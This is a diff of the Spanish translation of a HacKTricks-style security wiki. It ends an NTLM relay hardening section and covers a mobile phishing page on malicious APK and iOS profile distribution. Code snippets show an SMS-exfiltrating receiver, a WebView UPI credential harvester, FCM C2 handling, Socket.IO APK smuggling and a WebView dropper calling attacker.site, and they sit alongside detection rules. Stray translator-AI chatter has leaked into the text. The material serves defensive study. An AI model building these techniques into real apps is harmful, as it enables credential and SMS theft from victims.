* Un inicio de sesión Kerberos desde **127.0.0.1** (relay al SCM local) es muy sospechoso—mapea vía regla Sigma en la documentación de KrbRelayUp.
* Vigilar cambios en los atributos `msDS-AllowedToActOnBehalfOfOtherIdentity` o `msDS-KeyCredentialLink`.
## **Fortalecimiento**
## **Endurecimiento**
1. **Aplica firma LDAP y SMB + EPA** en cada servidor.
2. **Divide los SPNs** para que HTTP no esté en la misma cuenta que CIFS/LDAP.
3. Parchea vectores de coerción (PetitPotam KB5005413, DFS, AuthIP).
4. Establece **`ms-DS-MachineAccountQuota = 0`** para detener uniones de computadoras no autorizadas.
5. Alerta sobre **Evento 4649** y inicios de sesión Kerberos de bucle inesperados.
1. **Forzar LDAP & SMB signing + EPA** en cada servidor.
2. **Separar SPNs** para que HTTP no esté en la misma cuenta que CIFS/LDAP.
3. Parchear vectores de coerción (PetitPotam KB5005413, DFS, AuthIP).
4. Configurar **`ms-DS-MachineAccountQuota = 0`** para evitar uniones de equipos no autorizadas.
5. Generar alertas por **Event 4649** y inicios de sesión Kerberos en loopback inesperados.
## Referencias
## References
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
- [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)
- [https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
- [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
- [WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)](https://trustedsec.com/blog/wsus-is-sus-ntlm-relay-attacks-in-plain-sight)
- [GoSecure – Abusing WSUS to enable NTLM relaying attacks](https://gosecure.ai/blog/2021/11/22/gosecure-investigates-abusing-windows-server-update-services-wsus-to-enable-ntlm-relaying-attacks)
- [Impacket PR #2034 – Restore HTTP server in ntlmrelayx](https://github.com/fortra/impacket/pull/2034)
- [Impacket PR #913 – HTTP relay support](https://github.com/fortra/impacket/pull/913)
- [WSUScripts – wsusniff.py](https://github.com/Coontzy1/WSUScripts/blob/main/wsusniff.py)
- [WSUScripts – wsuspider.sh](https://github.com/Coontzy1/WSUScripts/blob/main/wsuspider.sh)
- [MS-WSUSOD – Windows Server Update Services: Server-to-Client Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wsusod/e00a5e81-c600-40d9-96b5-9cab78364416)
- [Microsoft – WSUS deprecation announcement](https://techcommunity.microsoft.com/blog/windows-itpro-blog/windows-server-update-services-wsus-deprecation/4250436)
{{#include ../../banners/hacktricks-training.md}}

263
src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
View File

@ -1,65 +1,65 @@
# Mobile Phishing & Malicious App Distribution (Android & iOS)
# Phishing móvil y distribución de apps maliciosas (Android & iOS)
{{#include ../../banners/hacktricks-training.md}}
> [!INFO]
> Esta página cubre técnicas usadas por actores de amenazas para distribuir **malicious Android APKs** y **iOS mobile-configuration profiles** mediante phishing (SEO, ingeniería social, tiendas falsas, apps de citas, etc.).
> Esta página cubre técnicas usadas por actores de amenaza para distribuir **malicious Android APKs** y **iOS mobile-configuration profiles** mediante phishing (SEO, ingeniería social, tiendas falsas, apps de citas, etc.).
> El material está adaptado de la campaña SarangTrap expuesta por Zimperium zLabs (2025) y otras investigaciones públicas.
## Attack Flow
## Flujo del ataque
1. **SEO/Phishing Infrastructure**
* Registrar docenas de dominios similares (dating, cloud share, car service…).
– Usar palabras clave en el idioma local y emojis en el elemento `<title>` para posicionar en Google.
– Hospedar *tanto* instrucciones de instalación para Android (`.apk`) como para iOS en la misma landing page.
2. **First Stage Download**
1. **SEO/Infraestructura de phishing**
* Registrar docenas de dominios look-alike (sitios de citas, compartición en la nube, servicio de coches…).
– Usar palabras clave en el idioma local y emojis en el elemento `<title>` para posicionarse en Google.
– Alojar *tanto* instrucciones de instalación para Android (`.apk`) como para iOS en la misma landing page.
2. **Descarga de primera etapa**
* Android: enlace directo a un APK *unsigned* o de “third-party store”.
* iOS: `itms-services://` o enlace HTTPS simple a un **mobileconfig** malicioso (ver más abajo).
3. **Post-install Social Engineering**
* En la primera ejecución la app solicita un **invitation / verification code** (ilusión de acceso exclusivo).
* El código se **POSTea por HTTP** al Command-and-Control (C2).
* iOS: `itms-services://` o enlace HTTPS simple a un **mobileconfig** profile malicioso (ver más abajo).
3. **Ingeniería social post-instalación**
* Al primer arranque la app pide un **invitation / verification code** (ilusión de acceso exclusivo).
* El código es **POSTed over HTTP** al Command-and-Control (C2).
* C2 responde `{"success":true}` ➜ el malware continúa.
* El análisis dinámico de Sandbox / AV que nunca envía un código válido no ve **comportamiento malicioso** (evasión).
4. **Runtime Permission Abuse** (Android)
* Los permisos peligrosos solo se solicitan **tras una respuesta positiva del C2**:
* Un análisis dinámico de Sandbox / AV que nunca envía un código válido no detecta **no malicious behaviour** (evasión).
4. **Abuso de permisos en tiempo de ejecución (Android)**
* Los permisos peligrosos sólo se solicitan **después de una respuesta positiva del C2**:
```xml
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<!-- Older builds also asked for SMS permissions -->
```
* Variantes recientes **eliminan `<uses-permission>` para SMS del `AndroidManifest.xml`** pero mantienen la ruta de código Java/Kotlin que lee SMS mediante reflection ⇒ reduce la puntuación estática mientras sigue funcionando en dispositivos que conceden el permiso vía `AppOps` abuse o targets antiguos.
5. **Facade UI & Background Collection**
* La app muestra vistas inocuas (visor de SMS, selector de galería) implementadas localmente.
* Variantes recientes **remove `<uses-permission>` for SMS from `AndroidManifest.xml`** pero mantienen la ruta de código Java/Kotlin que lee SMS mediante reflection ⇒ reduce la puntuación estática mientras sigue funcional en dispositivos que otorgan el permiso vía `AppOps` abuse o en objetivos antiguos.
5. **Interfaz fachada y recolección en segundo plano**
* La app muestra vistas inofensivas (SMS viewer, gallery picker) implementadas localmente.
* Mientras tanto exfiltra:
- IMEI / IMSI, número de teléfono
- Volcado completo de `ContactsContract` (array JSON)
- JPEG/PNG desde `/sdcard/DCIM` comprimidos con [Luban](https://github.com/Curzibn/Luban) para reducir tamaño
- SMS opcional (`content://sms`)
Los payloads se **empaquetan en lotes (batch-zipped)** y se envían vía `HTTP POST /upload.php`.
6. **iOS Delivery Technique**
* Un único **mobile-configuration profile** puede requerir `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration`, etc. para inscribir el dispositivo en una supervisión tipo “MDM”.
- Volcado completo de `ContactsContract` (arreglo JSON)
- JPEG/PNG de `/sdcard/DCIM` comprimidos con [Luban](https://github.com/Curzibn/Luban) para reducir tamaño
- Contenido SMS opcional (`content://sms`)
Payloads se **batch-zipped** y envían vía `HTTP POST /upload.php`.
6. **Técnica de entrega en iOS**
* Un único **mobile-configuration profile** puede solicitar `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` etc. para inscribir el dispositivo en una supervisión similar a “MDM”.
* Instrucciones de ingeniería social:
1. Abrir Settings ➜ *Profile downloaded*.
2. Tocar *Install* tres veces (capturas en la página de phishing).
3. Trust el perfil unsigned ➜ el atacante obtiene las entitlements de *Contacts* & *Photo* sin revisión de App Store.
7. **Network Layer**
* HTTP plano, a menudo en el puerto 80 con HOST header como `api.<phishingdomain>.com`.
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (sin TLS → fácil de detectar).
1. Open Settings ➜ *Profile downloaded*.
2. Tap *Install* three times (capturas en la página de phishing).
3. Trust the unsigned profile ➜ el atacante obtiene el entitlement *Contacts* & *Photo* sin revisión de App Store.
7. **Capa de red**
* HTTP sin TLS, a menudo en el puerto 80 con HOST header como `api.<phishingdomain>.com`.
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (no TLS → fácil de detectar).
## Defensive Testing / Red-Team Tips
## Pruebas defensivas / Consejos para Red Team
* **Dynamic Analysis Bypass** – Durante la evaluación del malware, automatizar la fase del invitation code con Frida/Objection para alcanzar la rama maliciosa.
* **Manifest vs. Runtime Diff** – Comparar `aapt dump permissions` con el runtime `PackageManager#getRequestedPermissions()`; permisos peligrosos ausentes son una señal de alerta.
* **Network Canary** – Configurar `iptables -p tcp --dport 80 -j NFQUEUE` para detectar ráfagas inusuales de POST tras la entrada del código.
* **mobileconfig Inspection** – Usar `security cms -D -i profile.mobileconfig` en macOS para listar `PayloadContent` y detectar entitlements excesivos.
* **Manifest vs. Runtime Diff** – Comparar `aapt dump permissions` con el runtime `PackageManager#getRequestedPermissions()`; la ausencia de permisos peligrosos es una señal de alarma.
* **Network Canary** – Configure `iptables -p tcp --dport 80 -j NFQUEUE` para detectar ráfagas no sólidas de POST tras la entrada del código.
* **mobileconfig Inspection** – Use `security cms -D -i profile.mobileconfig` en macOS para listar `PayloadContent` y detectar entitlements excesivos.
## Blue-Team Detection Ideas
## Ideas de detección para Blue Team
* **Certificate Transparency / DNS Analytics** para capturar estallidos repentinos de dominios ricos en palabras clave.
* **Certificate Transparency / DNS Analytics** para detectar ráfagas súbitas de dominios ricos en palabras clave.
* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` desde clientes Dalvik fuera de Google Play.
* **Invite-code Telemetry** – POST de códigos numéricos de 6–8 dígitos poco después de la instalación del APK puede indicar staging.
* **MobileConfig Signing** – Bloquear configuration profiles unsigned vía políticas MDM.
* **Invite-code Telemetry** – El POST de códigos numéricos de 6–8 dígitos poco después de la instalación del APK puede indicar staging.
* **MobileConfig Signing** – Bloquear perfiles de configuración no firmados vía política MDM.
## Useful Frida Snippet: Auto-Bypass Invitation Code
```python
@ -90,28 +90,28 @@ LubanCompress 1.1.8 # "Luban" string inside classes.dex
## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern
This pattern has been observed in campaigns abusing government-benefit themes to steal Indian UPI credentials and OTPs. Operators chain reputable platforms for delivery and resilience.
Este patrón se ha observado en campañas que abusan de temas de beneficios gubernamentales para robar credenciales UPI indias y OTPs. Los operadores encadenan plataformas reputadas para la entrega y la resiliencia.
### Cadena de entrega a través de plataformas de confianza
- YouTube video lure → la descripción contiene un enlace corto
- Señuelo en video de YouTube → la descripción contiene un enlace corto
- Enlace corto → sitio de phishing en GitHub Pages que imita el portal legítimo
- El mismo repo de GitHub aloja un APK con una insignia falsa “Google Play” que enlaza directamente al archivo
- El mismo repo de GitHub aloja un APK con una insignia falsa de “Google Play” que enlaza directamente al archivo
- Páginas de phishing dinámicas alojadas en Replit; el canal remoto de comandos usa Firebase Cloud Messaging (FCM)
### Dropper con payload embebido e instalación sin conexión
- El primer APK es un installer (dropper) que incluye el malware real en `assets/app.apk` y solicita al usuario que desactive Wi‑Fi/datos móviles para mitigar la detección en la nube.
- El payload embebido se instala bajo una etiqueta inocua (p. ej., “Secure Update”). Después de la instalación, tanto el installer como el payload están presentes como apps separadas.
### Dropper con payload incrustado e instalación offline
- El primer APK es un installer (dropper) que incluye el malware real en `assets/app.apk` y solicita al usuario desactivar Wi‑Fi/datos móviles para reducir la detección en la nube.
- El payload incrustado se instala bajo una etiqueta inocua (p. ej., “Secure Update”). Tras la instalación, tanto el installer como el payload están presentes como apps separadas.
Consejo para triage estático (usar grep para payloads embebidos):
Consejo de triage estático (grep para payloads incrustados):
```bash
unzip -l sample.apk | grep -i "assets/app.apk"
# Or:
zipgrep -i "classes|.apk" sample.apk | head
```
### Descubrimiento dinámico de endpoints mediante shortlink
- Malware obtiene una lista en texto plano, separada por comas, de endpoints activos desde un shortlink; simples transformaciones de cadena producen la ruta final de la página de phishing.
### Descubrimiento dinámico de endpoints vía shortlink
- Malware recupera una lista en texto plano, separada por comas, de endpoints activos desde un shortlink; transformaciones simples de cadenas generan la ruta final de la página de phishing.
Ejemplo (saneado):
Ejemplo (sanitizado):
```
GET https://rebrand.ly/dclinkto2
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
@ -127,8 +127,8 @@ String upiPage = parts[0].replace("gate.html", "gate.htm");
String smsPost = parts[1];
String credsPost = upiPage.replace("gate.htm", "addup.php");
```
### Captura de credenciales UPI basada en WebView
- El paso “Make payment of ₹1 / UPI‑Lite” carga un formulario HTML malicioso desde el endpoint dinámico dentro de un WebView y captura campos sensibles (teléfono, banco, UPI PIN) que se envían mediante `POST` a `addup.php`.
### Recolección de credenciales UPI basada en WebView
- El paso “Hacer un pago de ₹1 / UPI‑Lite” carga un formulario HTML del atacante desde un endpoint dinámico dentro de un WebView y captura campos sensibles (teléfono, banco, UPI PIN) que son enviados mediante `POST` a `addup.php`.
Cargador mínimo:
```java
@ -136,7 +136,7 @@ WebView wv = findViewById(R.id.web);
wv.getSettings().setJavaScriptEnabled(true);
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
```
### Autopropagación e interceptación de SMS/OTP
### Autopropagación y SMS/OTP interception
- Se solicitan permisos agresivos en la primera ejecución:
```xml
<uses-permission android:name="android.permission.READ_CONTACTS"/>
@ -144,10 +144,10 @@ wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
```
- Los contactos se recorren para enviar masivamente smishing SMS desde el dispositivo de la víctima.
- Los SMS entrantes son interceptados por un broadcast receiver y subidos con metadatos (remitente, cuerpo, SIM slot, ID aleatorio por dispositivo) a `/addsm.php`.
- Los contactos se recorren para enviar masivamente mensajes smishing desde el dispositivo de la víctima.
- Los SMS entrantes son interceptados por un broadcast receiver y subidos con metadatos (remitente, cuerpo, ranura SIM, ID aleatorio por dispositivo) a `/addsm.php`.
Esquema del receiver:
Esquema del broadcast receiver:
```java
public void onReceive(Context c, Intent i){
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
@ -162,7 +162,7 @@ postForm(urlAddSms, new FormBody.Builder()
}
```
### Firebase Cloud Messaging (FCM) como C2 resiliente
- El payload se registra en FCM; los push messages llevan un campo `_type` que se usa como switch para activar acciones (p. ej., actualizar plantillas de texto de phishing, alternar comportamientos).
- El payload se registra en FCM; los mensajes push llevan un campo `_type` usado como interruptor para activar acciones (p. ej., actualizar plantillas de texto de phishing, alternar comportamientos).
Ejemplo de payload de FCM:
```json
@ -174,7 +174,7 @@ Ejemplo de payload de FCM:
}
}
```
Esquema del handler:
Esquema del Handler:
```java
@Override
public void onMessageReceived(RemoteMessage msg){
@ -187,30 +187,70 @@ case "smish": sendSmishToContacts(); break;
}
```
### Hunting patterns and IOCs
- APK contiene payload secundario en `assets/app.apk`
- WebView carga payment desde `gate.htm` y exfiltrates a `/addup.php`
- SMS exfiltration a `/addsm.php`
- Shortlink-driven config fetch (p. ej., `rebrand.ly/*`) que devuelve endpoints CSV
- Apps etiquetadas como genéricas “Update/Secure Update”
- FCM `data` messages con un discriminador `_type` en apps no confiables
- APK contains secondary payload at `assets/app.apk`
- WebView loads payment from `gate.htm` and exfiltrates to `/addup.php`
- SMS exfiltration to `/addsm.php`
- Shortlink-driven config fetch (e.g., `rebrand.ly/*`) returning CSV endpoints
- Apps labelled as generic “Update/Secure Update”
- FCM `data` messages with a `_type` discriminator in untrusted apps
### Detection & defence ideas
- Señalizar apps que instruyen a los usuarios a desactivar la red durante la instalación y luego side-load un segundo APK desde `assets/`.
### Ideas de detección y defensa
- Marcar apps que instruyen a los usuarios a desactivar la red durante la instalación y luego side-load un segundo APK desde `assets/`.
- Alertar sobre la tupla de permisos: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + flujos de pago basados en WebView.
- Monitorización de egress para `POST /addup.php|/addsm.php` en hosts no corporativos; bloquear infraestructura conocida.
- Mobile EDR rules: app no confiable registrándose en FCM y ramificándose según el campo `_type`.
- Reglas Mobile EDR: app no confiable registrándose en FCM y ramificándose según un campo `_type`.
---
## Socket.IO/WebSocket-based APK Smuggling + Fake Google Play Pages
Attackers increasingly replace static APK links with a Socket.IO/WebSocket channel embedded in Google Play–looking lures. This conceals the payload URL, bypasses URL/extension filters, and preserves a realistic install UX.
Typical client flow observed in the wild:
```javascript
// Open Socket.IO channel and request payload
const socket = io("wss://<lure-domain>/ws", { transports: ["websocket"] });
socket.emit("startDownload", { app: "com.example.app" });
// Accumulate binary chunks and drive fake Play progress UI
const chunks = [];
socket.on("chunk", (chunk) => chunks.push(chunk));
socket.on("downloadProgress", (p) => updateProgressBar(p));
// Assemble APK client‑side and trigger browser save dialog
socket.on("downloadComplete", () => {
const blob = new Blob(chunks, { type: "application/vnd.android.package-archive" });
const url = URL.createObjectURL(blob);
const a = document.createElement("a");
a.href = url; a.download = "app.apk"; a.style.display = "none";
document.body.appendChild(a); a.click();
});
```
Por qué evade controles simples:
- No se expone una URL estática de APK; la payload se reconstruye en memoria a partir de frames de WebSocket.
- Los filtros de URL/MIME/extensión que bloquean respuestas .apk directas pueden pasar por alto datos binarios tunelizados vía WebSockets/Socket.IO.
- Los crawlers y sandboxes de URLs que no ejecutan WebSockets no recuperarán la payload.
Hunting y ideas de detección:
- Telemetría web/red: marcar sesiones de WebSocket que transfieran grandes bloques binarios seguidas de la creación de un Blob con MIME application/vnd.android.package-archive y un clic programático en `<a download>`. Buscar cadenas de cliente como socket.emit('startDownload'), y eventos nombrados chunk, downloadProgress, downloadComplete en los scripts de la página.
- Heurísticas de suplantación Play-store: en dominios no-Google que sirven páginas tipo Play, buscar cadenas de UI de Google Play como http.html:"VfPpkd-jY41G-V67aGc", plantillas con idiomas mixtos, y flujos falsos de “verification/progress” impulsados por WS events.
- Controles: bloquear la entrega de APK desde orígenes no-Google; hacer cumplir políticas de MIME/extensión que incluyan tráfico de WebSocket; preservar los avisos de descarga segura del navegador.
Véase también WebSocket tradecraft and tooling:
{{#ref}}
../../pentesting-web/websocket-attacks.md
{{#endref}}
## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – Estudio de caso RatOn
La campaña RatOn banker/RAT (ThreatFabric) es un ejemplo concreto de cómo las operaciones modernas de mobile phishing combinan WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover y hasta NFC-relay orchestration. Esta sección abstrae las técnicas reutilizables.
La campaña RatOn banker/RAT (ThreatFabric) es un ejemplo concreto de cómo las operaciones modernas de mobile phishing combinan WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover, e incluso NFC-relay orchestration. Esta sección abstrae las técnicas reutilizables.
### Etapa-1: WebView → native install bridge (dropper)
### Etapa 1: WebView → puente de instalación nativa (dropper)
Los atacantes presentan un WebView que apunta a una página atacante e inyectan una interfaz JavaScript que expone un instalador nativo. Un toque en un botón HTML llama al código nativo que instala un APK de segunda etapa incluido en los assets del dropper y luego lo lanza directamente.
Los atacantes muestran un WebView que apunta a una página maliciosa e inyectan una interfaz JavaScript que expone un instalador nativo. Un toque en un botón HTML llama a código nativo que instala un APK de segunda etapa empaquetado en los assets del dropper y luego lo lanza directamente.
Minimal pattern:
Patrón mínimo:
```java
public class DropperActivity extends Activity {
@Override protected void onCreate(Bundle b){
@ -239,23 +279,23 @@ wv.loadUrl("https://attacker.site/install.html");
}
}
```
Por favor pega el contenido HTML/Markdown de la página que quieres que traduzca al español.
Por favor pega aquí el HTML o el contenido Markdown de la página que quieres que traduzca al español. Preservaré exactamente las etiquetas, enlaces, rutas y fragmentos de código según tus instrucciones.
```html
<button onclick="bridge.installApk()">Install</button>
```
Después de la instalación, el dropper inicia el payload mediante un package/activity explícito:
Después de la instalación, el dropper inicia el payload mediante paquete/actividad explícita:
```java
Intent i = new Intent();
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
startActivity(i);
```
Hunting idea: untrusted apps calling `addJavascriptInterface()` and exposing installer-like methods to WebView; APK shipping an embedded secondary payload under `assets/` and invoking the Package Installer Session API.
Idea de hunting: aplicaciones no confiables que llaman a `addJavascriptInterface()` y exponen métodos similares al instalador a WebView; APK que incluye una carga útil secundaria embebida bajo `assets/` e invoca la Package Installer Session API.
### Embudo de consentimiento: Accessibility + Device Admin + avisos de tiempo de ejecución posteriores
Stage-2 opens a WebView that hosts an “Access” page. Its button invokes an exported method that navigates the victim to the Accessibility settings and requests enabling the rogue service. Once granted, malware uses Accessibility to auto-click through subsequent runtime permission dialogs (contacts, overlay, manage system settings, etc.) and requests Device Admin.
### Embudo de consentimiento: Accessibility + Device Admin + solicitudes de permisos en tiempo de ejecución posteriores
Stage-2 abre un WebView que aloja una página “Access”. Su botón invoca un método exportado que navega a la víctima a los ajustes de Accessibility y solicita habilitar el servicio malicioso. Una vez concedido, el malware usa Accessibility para hacer clic automáticamente a través de los diálogos de permisos posteriores en tiempo de ejecución (contacts, overlay, manage system settings, etc.) y solicita Device Admin.
- Accessibility programáticamente ayuda a aceptar avisos posteriores buscando botones como “Allow”/“OK” en el árbol de nodos y simulando clics.
- Comprobación/solicitud del permiso overlay:
- Accessibility programáticamente ayuda a aceptar solicitudes posteriores encontrando botones como “Allow”/“OK” en el árbol de nodos y simulando clics.
- Comprobación/solicitud de permiso Overlay:
```java
if (!Settings.canDrawOverlays(ctx)) {
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
@ -263,7 +303,7 @@ Uri.parse("package:" + ctx.getPackageName()));
ctx.startActivity(i);
}
```
Ver también:
Véase también:
{{#ref}}
../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
@ -271,19 +311,19 @@ Ver también:
### Overlay phishing/ransom via WebView
Los operadores pueden emitir comandos para:
- mostrar una superposición de pantalla completa desde una URL, o
- pasar HTML inline que se carga en una superposición WebView.
- renderizar una superposición a pantalla completa desde una URL, o
- pasar HTML en línea que se carga en una superposición WebView.
Usos probables: coacción (introducción de PIN), apertura de wallet para capturar PINs, mensajería de rescate. Mantener un comando para asegurarse de que el permiso de superposición esté concedido si falta.
Usos probables: coerción (introducción de PIN), apertura de wallet para capturar PINs, mensajes de rescate. Mantener un comando para asegurar que el permiso de superposición esté concedido si falta.
### Remote control model – text pseudo-screen + screen-cast
- Bajo ancho de banda: volcar periódicamente el árbol de nodos Accessibility, serializar los textos visibles/roles/bounds y enviarlos al C2 como una pseudo-pantalla (comandos como `txt_screen` una vez y `screen_live` continuo).
- Alta fidelidad: solicitar MediaProjection y comenzar screen-casting/grabación bajo demanda (comandos como `display` / `record`).
- Low-bandwidth: volcar periódicamente el Accessibility node tree, serializar los textos/roles/bounds visibles y enviarlos al C2 como una pseudo-pantalla (comandos como `txt_screen` para una vez y `screen_live` continuo).
- High-fidelity: solicitar MediaProjection e iniciar screen-casting/recording bajo demanda (comandos como `display` / `record`).
### ATS playbook (bank app automation)
Dada una tarea en JSON, abrir la app del banco, controlar la UI vía Accessibility con una mezcla de consultas de texto y toques por coordenadas, e introducir el PIN de pago de la víctima cuando se solicite.
Dada una tarea JSON, abrir la app bancaria, controlar la UI vía Accessibility con una mezcla de consultas de texto y toques por coordenadas, y escribir el PIN de pago de la víctima cuando se solicite.
Ejemplo de tarea:
Example task:
```json
{
"cmd": "transfer",
@ -295,22 +335,22 @@ Ejemplo de tarea:
```
Example texts seen in one target flow (CZ → EN):
- "Nová platba" → "Nuevo pago"
- "Zadat platbu" → "Introducir pago"
- "Nový příjemce" → "Nuevo destinatario"
- "Zadat platbu" → "Ingresar pago"
- "Nový příjemce" → "Nuevo beneficiario"
- "Domácí číslo účtu" → "Número de cuenta doméstica"
- "Další" → "Siguiente"
- "Odeslat" → "Enviar"
- "Ano, pokračovat" → "Sí, continuar"
- "Zaplatit" → "Pagar"
- "Hotovo" → "Listo"
- "Hotovo" → "Hecho"
Los operadores también pueden comprobar/aumentar los límites de transferencia mediante comandos como `check_limit` y `limit` que navegan por la UI de límites de forma similar.
Operators can also check/raise transfer limits via commands like `check_limit` and `limit` that navigate the limits UI similarly.
### Extracción de la frase semilla de wallets cripto
Objetivos como MetaMask, Trust Wallet, Blockchain.com, Phantom. Flujo: desbloquear (PIN robado o contraseña proporcionada), navegar a Security/Recovery, revelar/mostrar la frase semilla, keylog/exfiltrate it. Implementar selectores conscientes de la localización (EN/RU/CZ/SK) para estabilizar la navegación entre idiomas.
### Extracción de seed phrase de wallets de criptomonedas
Targets like MetaMask, Trust Wallet, Blockchain.com, Phantom. Flow: unlock (stolen PIN or provided password), navigate to Seguridad/Recuperación, reveal/show seed phrase, keylog/exfiltrate it. Implement locale-aware selectors (EN/RU/CZ/SK) to stabilise navigation across languages.
### Coerción mediante Device Admin
Device Admin APIs se usan para aumentar las oportunidades de captura del PIN y frustrar a la víctima:
### Coerción de Device Admin
Device Admin APIs are used to increase PIN-capture opportunities and frustrate the victim:
- Bloqueo inmediato:
```java
@ -320,38 +360,38 @@ dpm.lockNow();
```java
dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
```
- Forzar desbloqueo no biométrico deshabilitando las funciones biométricas del keyguard:
- Forzar desbloqueo no biométrico deshabilitando las funciones biométricas de keyguard:
```java
dpm.setKeyguardDisabledFeatures(admin,
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
```
Nota: Muchos controles de DevicePolicyManager requieren Device Owner/Profile Owner en versiones recientes de Android; algunas builds de OEM pueden ser laxas. Siempre valida en el OS/OEM objetivo.
Nota: Muchos controles de DevicePolicyManager requieren Device Owner/Profile Owner en versiones recientes de Android; algunas builds de OEM pueden ser laxas. Valida siempre en el OS/OEM objetivo.
### Orquestación de relay NFC (NFSkate)
Stage-3 puede instalar y lanzar un módulo externo de NFC-relay (p. ej., NFSkate) e incluso pasarle una plantilla HTML para guiar a la víctima durante el relay. Esto permite cash-out presencial contactless con tarjeta junto con ATS en línea.
### NFC relay orchestration (NFSkate)
Stage-3 puede instalar y lanzar un módulo externo de NFC-relay (por ejemplo, NFSkate) e incluso pasarle una plantilla HTML para guiar a la víctima durante el relay. Esto posibilita cash-out contactless con card-present junto con ATS online.
Antecedentes: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
### Conjunto de comandos del operador (ejemplo)
- UI/estado: `txt_screen`, `screen_live`, `display`, `record`
### Operator command set (sample)
- UI/state: `txt_screen`, `screen_live`, `display`, `record`
- Social: `send_push`, `Facebook`, `WhatsApp`
- Superposiciones: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
- Overlays: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
- Wallets: `metamask`, `trust`, `blockchain`, `phantom`
- ATS: `transfer`, `check_limit`, `limit`
- Dispositivo: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
- Device: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
- Comms/Recon: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
- NFC: `nfs`, `nfs_inject`
### Ideas de detección y defensa (estilo RatOn)
- Buscar WebViews con `addJavascriptInterface()` que expongan métodos de instalador/permiso; páginas que terminan en “/access” que desencadenan prompts de Accessibility.
- Alertar sobre apps que generan gestos/clics de Accessibility a alta frecuencia poco después de obtener acceso al servicio; telemetría que se asemeje a dumps de Accessibility node enviados al C2.
- Monitorizar cambios de políticas de Device Admin en apps no confiables: `lockNow`, expiración de contraseña, alternancias de funciones de keyguard.
- Alertar sobre prompts de MediaProjection de apps no corporativas seguidos por subidas periódicas de frames.
- Detectar la instalación/ejecución de una app externa de NFC-relay desencadenada por otra app.
- Para banca: aplicar confirmaciones fuera de banda, binding biométrico y límites de transacción resistentes a la automatización on-device.
### Detection & defence ideas (RatOn-style)
- Busca WebViews con `addJavascriptInterface()` que expongan métodos de instalador/permiso; páginas que terminen en “/access” que disparen prompts de Accessibility.
- Alertar sobre apps que generen gestos/clicks de Accessibility a alta tasa poco después de obtener acceso al servicio; telemetría que se parezca a dumps de Accessibility nodes enviados al C2.
- Monitorizar cambios de políticas de Device Admin en apps no confiables: `lockNow`, expiración de contraseña, toggles de features de keyguard.
- Alertar sobre prompts de MediaProjection desde apps no corporativas seguidos de subidas periódicas de frames.
- Detectar la instalación/lanzamiento de una app de NFC-relay externa disparada por otra app.
- Para banca: imponer confirmaciones out-of-band, vinculación biométrica y límites de transacción resistentes a la automatización en el dispositivo.
## Referencias
## References
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
- [Luban – Android image compression library](https://github.com/Curzibn/Luban)
@ -359,5 +399,8 @@ Antecedentes: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-n
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
